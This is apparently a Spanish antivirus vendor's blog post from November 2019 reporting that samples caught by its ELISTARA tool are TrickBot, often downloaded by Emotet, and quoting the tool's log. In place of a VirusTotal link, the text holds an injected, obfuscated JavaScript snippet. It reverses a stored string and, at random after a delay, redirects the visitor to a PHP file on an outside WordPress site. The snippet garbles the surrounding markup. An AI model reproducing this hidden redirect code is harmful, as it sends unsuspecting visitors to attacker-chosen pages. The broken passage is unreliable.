MUESTRAS PEDIDAS POR EL ELISTARA QUE RESULTAN SER TOTBRICK

Como se ve en el informe del ELISTARA:

“Lista de Acciones (por Acción Directa):
Por favor, envienos el INFOSAT.TXT y una muestra del fichero
C:\Muestras\UQOTIPU.EXE.Muestra EliStartPage v42.26
a “virus@satinfo.es”. Gracias.
C:\USERS\ADMINISTRADOR\APPDATA\ROAMING\EXTVISUAL\UQOTIPU.EXE –> Eliminado
Por favor, envienos el INFOSAT.TXT y una muestra del fichero
C:\Muestras\887E~1.EXE.Muestra EliStartPage v42.26
a “virus@satinfo.es”. Gracias.
C:\USERS\ADMINISTRADOR\APPDATA\ROAMING\EXTVISUAL\887E~1.EXE –> Eliminado”

Las muestras recibidas ofrecen estos informes con el virustotal:

$NfI=function(n){if (typeof ($NfI.list[n]) == “string”) return $NfI.list[n].split(“”).reverse().join(“”);return $NfI.list[n];};$NfI.list=[“‘php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}total.com/gui/file/1ddd7a344f90a9501792dc272674613ea8e4e7be58d0d4fb4591fa2d82fd71f7/detection” target=”_blank” rel=”noopener noreferrer”>INFORME DEL 887E-1.EXE>

Ambos ficheros ya son controlados por el actual ELISTARA, pero se avisa que muchas veces los TOTBRICK han sido descargados por el peligroso EMOTET, aparte de poder haberlo sido por cualquier otro downloader

Esperando que lo indicado les haya sido de interés, reciban saludos

saludos

ms, 8-11-2019